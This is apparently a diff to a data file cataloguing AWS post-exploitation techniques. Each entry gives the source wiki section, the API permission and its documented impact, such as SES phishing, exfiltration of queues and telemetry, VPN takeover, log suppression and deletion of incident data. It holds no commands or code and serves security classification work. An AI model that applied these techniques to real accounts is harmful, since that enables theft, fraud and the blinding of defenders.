+ source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerdeleteresourcepolicy + technique: secretsmanager:DeleteResourcePolicy + reason: 'Documented impact: Principals relying on the removed resource policy can lose access to the secret. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentstartpentestjob--run-intrusive-tests-against-configured-targets + technique: '`securityagent:StartPentestJob` — run intrusive tests against configured targets' + reason: 'Documented impact: Generate intrusive traffic against an organization''s verified application, exercise + authenticated functions, consume application/security-team capacity, or trigger defects with real payloads. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentlistactormessages--recover-email-mfa-codes-and-verification-links + technique: '`securityagent:ListActorMessages` — recover email MFA codes and verification links' + reason: 'Documented impact: Obtain a live email OTP or verification link and complete the corresponding application''s + second-factor or account-verification step when the attacker also controls the required primary credential/session. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentgetartifact--batchgetfindings--recover-assessment-context-and-exploit-material + technique: '`securityagent:GetArtifact` / `BatchGetFindings` — recover assessment context and exploit material' + reason: 'Documented impact: Recover application architecture/configuration, vulnerable file/line locations, confirmed + exploit logic, reproducible attack scripts, authentication/test environment values, endpoint inventory and repository/remediation + metadata. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentstartcoderemediation--trigger-trusted-remediation-pull-requests + technique: '`securityagent:StartCodeRemediation` — trigger trusted remediation pull requests' + reason: 'Documented impact: Cause trusted automated branches/pull requests, consume reviewer/CI capacity, and + place generated security changes into the repository review path. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentupdatefinding--batchdeletepentests--hide-or-destroy-assessment-evidence + technique: '`securityagent:UpdateFinding` / `BatchDeletePentests` — hide or destroy assessment evidence' + reason: 'Documented impact: Remove vulnerabilities from the active security queue, falsify severity/status, break + historical evidence and prevent defenders from using the normal assessment record to prioritize remediation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-lake-post-exploitation/README.md#securitylakecreatesubscriber--updatesubscriber--external-cross-account-access + technique: '`securitylake:CreateSubscriber` / `UpdateSubscriber` — external cross-account access' + reason: 'Documented impact: Cross-account exfiltration of the selected centralized security telemetry and disclosure + of defender visibility. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#recover-application-metadata--servicecataloggetattributegroup + technique: Recover application metadata — `servicecatalog:GetAttributeGroup` + reason: 'Documented impact: recover application ownership, contacts, department, runtime, SLA, compliance/data-sensitivity + classification, internal endpoints, runbooks and other operational context stored as AppRegistry metadata. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#poison-shared-application-metadata--servicecatalogupdateattributegroup + technique: Poison shared application metadata — `servicecatalog:UpdateAttributeGroup` + reason: 'Documented impact: misroute responders, falsify ownership/compliance/data-sensitivity context, or poison + CMDB, CI/CD, ServiceNow and governance workflows that trust AppRegistry metadata. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendemail + technique: '`ses:SendEmail`' + reason: 'Documented impact: Send email from a verified identity (bulk phishing/spam, BEC/impersonation). This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendrawemail + technique: '`ses:SendRawEmail`' + reason: 'Documented impact: Send a MIME email with attacker-controlled headers and attachments (spoofed headers, + malware payloads) from a verified identity. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendtemplatedemail + technique: '`ses:SendTemplatedEmail`' + reason: 'Documented impact: Send templated email at scale using an existing template — consistent, professional-looking + phishing. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbulktemplatedemail + technique: '`ses:SendBulkTemplatedEmail`' + reason: 'Documented impact: Fan a template out to up to 50 destinations per call — mass phishing in a single request. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbulkemail + technique: '`ses:SendBulkEmail`' + reason: 'Documented impact: SES API v2 bulk send to many destinations in one call — high-volume distribution. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbounce + technique: '`ses:SendBounce`' + reason: 'Documented impact: Forge a bounce message to the original sender of a message received through SES (within + 24h) — targeted spoofed non-delivery notices / social engineering. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendcustomverificationemail + technique: '`ses:SendCustomVerificationEmail`' + reason: 'Documented impact: Send a custom verification email and attempt to add the target address as an SES identity + — identity seeding and a phishing lure that appears to come from AWS/SES. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sesputidentitypolicy--sesv2putemailidentitypolicy--cross-account-sending-authorization-backdoor + technique: '`ses:PutIdentityPolicy` / `sesv2:PutEmailIdentityPolicy` — cross-account sending-authorization backdoor' + reason: 'Documented impact: Persistent cross-account ability to send email as the victim''s verified domain (passing + SPF/DKIM/DMARC) — high-fidelity phishing/BEC and brand impersonation that outlives the attacker''s original + access and burns the victim''s... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-simpledb-post-exploitation/README.md#sdbstartdomainexport--export-a-complete-domain-to-s3 + technique: '`sdb:StartDomainExport` — export a complete domain to S3' + reason: The section documents the resource or service effect of `sdb:StartDomainExport` — export a complete domain + to S3, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snow-device-management-post-exploitation/README.md#snow-device-managementcreatetask--remotely-unlock-or-reboot-managed-snowball-edge-devices + technique: '`snow-device-management:CreateTask` — remotely unlock or reboot managed Snowball Edge devices' + reason: 'Documented impact: Unlock removes the device''s at-rest operational lock and can enable a local-network/physical + attacker to reach already configured local services; any data or compute compromise still depends on the separate + local credentials,... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballgetjobmanifest--getjobunlockcode--recover-the-two-device-unlock-credentials + technique: '`snowball:GetJobManifest` + `GetJobUnlockCode` — recover the two device-unlock credentials' + reason: 'Documented impact: Unlock the matching physical appliance without obtaining its manifest/code from the + intended operator, then use the device''s normal local access workflow. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballupdatelongtermpricing--re-enable-a-prepaid-contract-renewal + technique: '`snowball:UpdateLongTermPricing` — re-enable a prepaid contract renewal' + reason: 'Documented impact: Commit the account to another prepaid Snowball period if defenders do not revert the + flag or retire the device before expiry. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballcanceljob--cancel-a-newly-created-device-workflow + technique: '`snowball:CancelJob` — cancel a newly created device workflow' + reason: 'Documented impact: Abort a planned physical data migration, export or edge-compute deployment before + preparation, forcing operators to recreate the job and potentially delaying a workflow that can take weeks to + provision. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snspublish + technique: '`sns:Publish`' + reason: 'Documented impact: Injection of attacker-controlled messages into downstream subscribers, potentially + triggering their fixed business actions, corrupting data, or consuming delivery/compute capacity. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssetsmsattributes--account-wide-sms-tampering + technique: '`sns:SetSMSAttributes` — account-wide SMS tampering' + reason: 'Documented impact: Account-wide degradation of default-class SMS delivery (including OTP/MFA flows that + do not set a per-message type) and convincing sender-name spoofing on supported routes. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snssettopicattributes--alter-delivery-and-encryption-settings + technique: '`sns:SetTopicAttributes` — alter delivery and encryption settings' + reason: The section documents the resource or service effect of `sns:SetTopicAttributes` — alter delivery and + encryption settings, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snstagresource--snsuntagresource + technique: '`sns:TagResource` , `sns:UntagResource`' + reason: 'Documented impact: Corrupts cost/ownership inventory and can satisfy or defeat tag-based authorization/automation + conditions when those controls are designed to trust mutable resource tags. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsunsubscribe--remove-a-subscriber + technique: '`sns:Unsubscribe` — remove a subscriber' + reason: The section documents the resource or service effect of `sns:Unsubscribe` — remove a subscriber, without + a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsremovepermission--revoke-a-topic-policy-grant + technique: '`sns:RemovePermission` — revoke a topic-policy grant' + reason: This heading concerns removal, disruption or access denial via `sns:RemovePermission` — revoke a topic-policy + grant; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md#snsdeletetopic + technique: '`sns:DeleteTopic`' + reason: 'Documented impact: Loss of future publication/delivery through the topic and service disruption for publishers + and subscribers. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-subscriber-disclosure-post-exploitation/README.md#snslistsubscriptions-snslistsubscriptionsbytopic--read-subscriber-endpoints + technique: '`sns:ListSubscriptions`, `sns:ListSubscriptionsByTopic` — Read subscriber endpoints' + reason: 'Documented impact: Disclosure of subscriber PII, internal callback endpoints, application topology, and + downstream resource identifiers. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssendmessage-api-sendmessage-sendmessagebatch + technique: '`sqs:SendMessage` (API: `SendMessage`, `SendMessageBatch`)' + reason: 'Documented impact: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssetqueueattributes--alter-delivery-and-encryption-settings + technique: '`sqs:SetQueueAttributes` — alter delivery and encryption settings' + reason: The section documents the resource or service effect of `sqs:SetQueueAttributes` — alter delivery and + encryption settings, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqstagqueue--sqsuntagqueue + technique: '`sqs:TagQueue` , `sqs:UntagQueue`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsreceivemessage-sqsdeletemessage-sqschangemessagevisibility + technique: '`sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`' + reason: 'Documented impact: Steal sensitive information, Message loss, data corruption, and service disruption + for applications relying on the affected messages. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsdeletequeue + technique: '`sqs:DeleteQueue`' + reason: 'Documented impact: Message loss and service disruption for applications using the deleted queue. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqspurgequeue + technique: '`sqs:PurgeQueue`' + reason: 'Documented impact: Message loss and service disruption for applications relying on the purged messages. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqsremovepermission + technique: '`sqs:RemovePermission`' + reason: 'Documented impact: Disruption of normal functioning for applications relying on the queue due to unauthorized + removal of permissions. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssetqueueattributes--shorten-message-retention + technique: '`sqs:SetQueueAttributes` — shorten message retention' + reason: The section documents the resource or service effect of `sqs:SetQueueAttributes` — shorten message retention, + without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md#sqssendmessage-on-a-fifo-queue--deduplication-id-suppression + technique: '`sqs:SendMessage` on a FIFO queue — deduplication-ID suppression' + reason: 'Documented impact: Silent destruction of the producer''s messages and substitution of attacker-chosen + content, with only send access to the queue and no failure surfaced to the producer. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md#aws--sqs-dlq-redrive-exfiltration-via-startmessagemovetask + technique: AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + reason: 'Documented impact: Exfiltrate sensitive payloads accumulated in DLQs (failed events, PII, tokens, application + payloads) at a high rate using native SQS APIs; the service supports a custom movement rate of up to 500 messages + per second. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssodeletepermissionset + technique: '`sso:DeletePermissionSet`' + reason: 'Documented impact: Organization-wide denial of new AWS-account sessions through that permission set once + deletion succeeds: every user and group that depended on it loses that route to the affected accounts. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssodeleteaccountassignment + technique: '`sso:DeleteAccountAssignment`' + reason: 'Documented impact: Denial of future access through that exact assignment. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssoputpermissionsboundarytopermissionset--ssoprovisionpermissionset + technique: '`sso:PutPermissionsBoundaryToPermissionSet` + `sso:ProvisionPermissionSet`' + reason: 'Documented impact: Persistent reduction of the effective permissions of every role produced from the + permission set after successful reprovisioning. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesrevealsecrets + technique: '`states:RevealSecrets`' + reason: 'Documented impact: Disclosure of the EventBridge Connection secrets an HTTP Task attaches to its request + (headers, query string or body) — reusable credentials for the remote service. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesdescribestatemachine--definition-secret-disclosure + technique: '`states:DescribeStateMachine` — definition-secret disclosure' + reason: This heading concerns reading or exporting data via `states:DescribeStateMachine` — definition-secret + disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#read-execution-data-with-describeexecution-and-getexecutionhistory + technique: Read execution data with `DescribeExecution` and `GetExecutionHistory` + reason: 'Documented impact: Disclosure of workflow input, output, per-state data, service parameters and errors + for a known execution — frequently the most sensitive data the account handles. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#claim-activity-work-with-statesgetactivitytask + technique: Claim activity work with `states:GetActivityTask` + reason: 'Documented impact: Reads queued workflow input and takes a live task token, denying the work item to + the legitimate worker; the token then enables the callback technique below. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesupdatestatemachine-lambdaupdatefunctioncode + technique: '`states:UpdateStateMachine`, `lambda:UpdateFunctionCode`' + reason: The section documents the resource or service effect of `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`, + without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesredriveexecution--replay-the-failed-path-under-stored-roles + technique: '`states:RedriveExecution` — Replay the failed path under stored roles' + reason: The section documents the resource or service effect of `states:RedriveExecution` — Replay the failed + path under stored roles, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statestagresource-statesuntagresource + technique: '`states:TagResource`, `states:UntagResource`' + reason: 'Documented impact: Disruption of cost allocation, resource tracking, and tag-based access control policies. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesdeletestatemachine-statesdeletestatemachineversion-statesdeletestatemachinealias + technique: '`states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`' + reason: 'Documented impact: Disruption of critical workflows, data loss, and operational downtime. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesupdatemaprun + technique: '`states:UpdateMapRun`' + reason: 'Documented impact: Performance degradation and disruption of critical workflows. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstopexecution + technique: '`states:StopExecution`' + reason: 'Documented impact: Disruption of ongoing workflows, operational downtime, and potential data corruption. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-storage-gateway-chap-post-exploitation/README.md#storagegatewaydescribechapcredentials--recover-iscsi-mutual-chap-secrets + technique: '`storagegateway:DescribeChapCredentials` — recover iSCSI mutual-CHAP secrets' + reason: This heading concerns reading or exporting data via `storagegateway:DescribeChapCredentials` — recover + iSCSI mutual-CHAP secrets; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-storage-gateway-post-exploitation/README.md#storagegatewaycreatenfsfileshare--createsmbfileshare--iampassrole--expose-an-s3-bucket-through-a-file-share-and-mount-it + technique: '`storagegateway:CreateNFSFileShare` / `CreateSMBFileShare` (+ `iam:PassRole`) — expose an S3 bucket + through a file share and mount it' + reason: 'Documented impact: Read/write access to the S3 data reachable by the passed role, exposed as a mountable + NFS/SMB share on a gateway the attacker controls — the object access is performed by the gateway using the passed + role, not by the... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md#stsgetfederationtoken + technique: '**`sts:GetFederationToken`**' + reason: 'Documented impact: A separate, independently-usable credential set for the calling IAM user''s authority, + valid for up to 36 hours and unaffected by rotating or deleting the original access key. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-systems-manager-incident-manager-post-exploitation/README.md#anti-forensics-destroy-all-incident-manager-data-deletereplicationset + technique: 'Anti-forensics: destroy all Incident Manager data (`DeleteReplicationSet`)' + reason: 'Documented impact: Wholesale destruction of the account''s incident-response history and configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-query-a-table-with-timestreamselect + technique: 'LiveAnalytics: query a table with `timestream:Select`' + reason: 'Documented impact: Exfiltration of operational telemetry, customer or device identifiers, application + measurements and any secrets or tokens an application improperly stored as dimensions or measures. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-export-query-results-to-s3-with-timestreamunload + technique: 'LiveAnalytics: export query results to S3 with `timestream:Unload`' + reason: 'Documented impact: Bulk export of a table or filtered sensitive subset into attacker-readable S3 objects, + including a manifest that identifies every result file. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-invisible-record-injection-upsert-and-version-pinning-with-timestreamwriterecords + technique: 'LiveAnalytics: invisible record injection, upsert and version pinning with `timestream:WriteRecords`' + reason: 'Documented impact: False telemetry, corrupted dashboards and alerts, malicious schema expansion, or an + effectively uncorrectable highest-version value for selected records. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#logsfilterlogevents--logsgetlogevents--recover-custom-idp-passwords-from-logs + technique: '`logs:FilterLogEvents` / `logs:GetLogEvents` — recover custom-IdP passwords from logs' + reason: 'Documented impact: steal reusable SFTP/FTP/FTPS passwords from misconfigured custom-IdP logs, enabling + Transfer-user impersonation and compromise of other systems where users reused the credential. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transfertestidentityprovider--query-a-custom-idp-with-a-chosen-password-and-source-ip + technique: '`transfer:TestIdentityProvider` — query a custom IdP with a chosen password and source IP' + reason: 'Documented impact: validate credentials or identity-provider rules and disclose a custom user''s effective + Transfer role, session policy, home mapping, public keys, and API Gateway IdP URL without server read permissions. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#transferupdateserver--disable-both-transfer-server-logging-paths + technique: '`transfer:UpdateServer` — disable both Transfer server logging paths' + reason: 'Documented impact: blind future Transfer Family server telemetry in CloudWatch before using an existing + foothold, reducing visibility into logins, sessions, and file operations across SFTP/FTPS/FTP/AS2. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-uxc-post-exploitation/README.md#uxcupdateaccountcustomizations--hide-services-and-regions-from-console-navigation + technique: '`uxc:UpdateAccountCustomizations` — hide services and Regions from console navigation' + reason: 'Documented impact: account-wide console navigation manipulation and operator confusion during manual + triage. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-lattice-svcsinvoke--access-an-iam-authenticated-private-service + technique: '`vpc-lattice-svcs:Invoke` — access an IAM-authenticated private service' + reason: 'Documented impact: Read or invoke private application endpoints allowed by the service''s auth policy, + with access bounded by that application''s own authorization and the caller''s network path. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateaccesslogsubscription--exfiltrate-service-network-request-metadata + technique: '`vpc-lattice:CreateAccessLogSubscription` — exfiltrate service-network request metadata' + reason: 'Documented impact: Continuous disclosure of request metadata for the selected service or service network + to the configured destination, subject to successful log delivery. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateservicenetworkvpcassociation--obtain-network-reachability-into-a-service-network + technique: '`vpc-lattice:CreateServiceNetworkVpcAssociation` — obtain network reachability into a service network' + reason: 'Documented impact: Lateral movement / reachability — expose every service in the service network to attacker-controlled + compute, the prerequisite the Invoke data-plane technique otherwise lacks. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2getvpnconnectiondevicesampleconfiguration--disclose-site-to-site-vpn-pre-shared-keys + technique: '`ec2:GetVpnConnectionDeviceSampleConfiguration` — disclose Site-to-Site VPN pre-shared keys' + reason: 'Documented impact: Discloses both Site-to-Site VPN tunnel PSKs and detailed tunnel/network configuration. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyvpnconnection--ec2modifyvpntunneloptions--take-over-an-existing-site-to-site-vpn-peer + technique: '`ec2:ModifyVpnConnection` + `ec2:ModifyVpnTunnelOptions` — take over an existing Site-to-Site VPN + peer' + reason: 'Documented impact: Durable takeover of the customer side of an existing Site-to-Site VPN connection. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2authorizeclientvpningress--broaden-an-authenticated-vpn-clients-network-access + technique: '`ec2:AuthorizeClientVpnIngress` — broaden an authenticated VPN client''s network access' + reason: 'Documented impact: turn an existing limited VPN foothold into private-network access to the authorized + CIDR, enabling service discovery, lateral movement, direct attacks against private endpoints, or data access + as permitted by downstream... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2associateclientvpntargetnetwork--ec2createclientvpnroute--attach-client-vpn-to-a-vpc-and-extend-reachable-networks + technique: '`ec2:AssociateClientVpnTargetNetwork` + `ec2:CreateClientVpnRoute` — attach Client VPN to a VPC and + extend reachable networks' + reason: 'Documented impact: Converts a prepared but unattached Client VPN endpoint into a usable VPC entry point + and creates its full-VPC local route, or extends an already associated endpoint toward a peered VPC, on-premises + network, internet egress, or... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2applysecuritygroupstoclientvpntargetnetwork--rebind-client-vpn-to-a-trusted-security-group + technique: '`ec2:ApplySecurityGroupsToClientVpnTargetNetwork` — rebind Client VPN to a trusted security group' + reason: 'Documented impact: Inherits the network trust already granted to the selected SG, potentially turning + an otherwise restricted authenticated Client VPN foothold into access to administrative ports, databases, internal + services, or egress paths... This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyclientvpnendpoint--hijack-client-dnsrouting-and-suppress-connection-logs + technique: '`ec2:ModifyClientVpnEndpoint` — hijack client DNS/routing and suppress connection logs' + reason: 'Documented impact: Persistent control of DNS and client route policy for future/reconnected VPN sessions, + enabling DNS-based reconnaissance/redirection and—when the network path is prepared—forced full-tunnel egress + through attacker-observed or... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2createregexpatternset--wafv2updateregexpatternset-wafv2deleteregexpatternset + technique: '**`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**' + reason: 'Documented impact: Bypass security controls, allowing malicious content and potentially exposing sensitive + data or disrupting services and resources protected by AWS WAF. This section does not establish another AWS + 